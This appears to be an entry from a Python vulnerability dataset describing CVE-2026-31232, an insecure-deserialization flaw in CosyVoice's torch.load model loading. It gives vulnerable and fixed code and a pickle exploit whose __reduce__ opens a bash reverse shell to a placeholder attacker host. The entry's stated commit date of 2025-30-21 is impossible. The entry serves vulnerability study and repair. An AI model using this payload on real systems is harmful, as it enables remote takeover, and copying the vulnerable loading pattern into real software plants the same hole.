CVE-2026-31232

Insecure deserialization in CosyVoice model loading allows RCE.

• CVSS 8.8
• CWE-502
• Input Validation and Sanitization
• Remote

The CosyVoice project thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its model loading process. When loading model files (.pt) from a user-specified directory (via the –model_dir argument), the code uses torch.load() without the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the Pickle module. An attacker can exploit this by providing a maliciously crafted model directory containing .pt files with embedded pickle payloads. When a victim loads this directory using CosyVoice's web interface, the malicious payload is executed, leading to remote code execution on the victim's system.

CVE

CVE-2026-31232

CWE

CWE-502

CVSS base score

8.8

Published

2026-05-12

OWASP

A08 Software and Data Integrity Failures

Orthogonal defect classification

Timing/Serialization

Code defect classification

Serialization Issues

Category

Input Validation and Sanitization

Subcategory

Insecure Parsing or Deserialization

Accessibility scope

Remote

Impact

Arbitrary Code Execution

Affected component

torch

Solution

No official patch has been released. To fix the vulnerability, modify all `torch.load()` calls that handle user-provided model files to `torch.load(…, weights_only=True)`.

import torch
import os
import argparse

def load_model(model_dir):
    """
    Loads a model from a user-specified directory.
    This is the vulnerable function.
    """
    # In a real application, this would be a more complex path discovery.
    # For this example, we assume a predictable model name.
    model_path = os.path.join(model_dir, "model.pt")

    if os.path.exists(model_path):
        print(f"Loading model from: {model_path}")

        # VULNERABLE LINE:
        # torch.load is called on a user-provided file path without the
        # `weights_only=True` parameter. A malicious .pt file containing
        # a pickled payload can execute arbitrary code upon loading.
        model = torch.load(model_path)

        print("Model loaded successfully.")
        return model
    else:
        print(f"Error: Model file not found at {model_path}")
        return None

if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="A vulnerable script demonstrating insecure model loading."
    )
    parser.add_argument(
        "--model_dir",
        type=str,
        required=True,
        help="Path to the directory containing the .pt model file."
    )
    args = parser.parse_args()

    # The application takes a user-controlled directory and loads a model from it.
    load_model(args.model_dir)

import torch

def load_model_securely(model_path: str):
    """
    Securely loads a PyTorch model's state dictionary from a .pt file.

    This function represents the fix for the insecure deserialization
    vulnerability by using the `weights_only=True` parameter in `torch.load`.
    This prevents the unpickling of arbitrary Python objects and mitigates
    the risk of remote code execution from a malicious model file.
    """
    try:
        # The fix is to set `weights_only=True`. This ensures that only tensors,
        # storages, and dictionaries of them are loaded, blocking the
        # execution of arbitrary code embedded in a malicious pickle payload.
        state_dict = torch.load(model_path, weights_only=True)
        
        # In a real application, you would now load the state_dict into your model architecture
        # model = MyModelClass()
        # model.load_state_dict(state_dict)
        
        return state_dict
    except Exception as e:
        # Handle cases where the file is not a valid weights file or other errors.
        print(f"Error loading model securely from {model_path}: {e}")
        return None

import torch
import os

class Exploit:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1'"
        return (os.system, (cmd,))

torch.save(Exploit(), 'malicious.pt')

@misc{vaitp:cve202631232,
  title        = {{Insecure deserialization in CosyVoice model loading allows RCE.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-31232},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31232/}}
}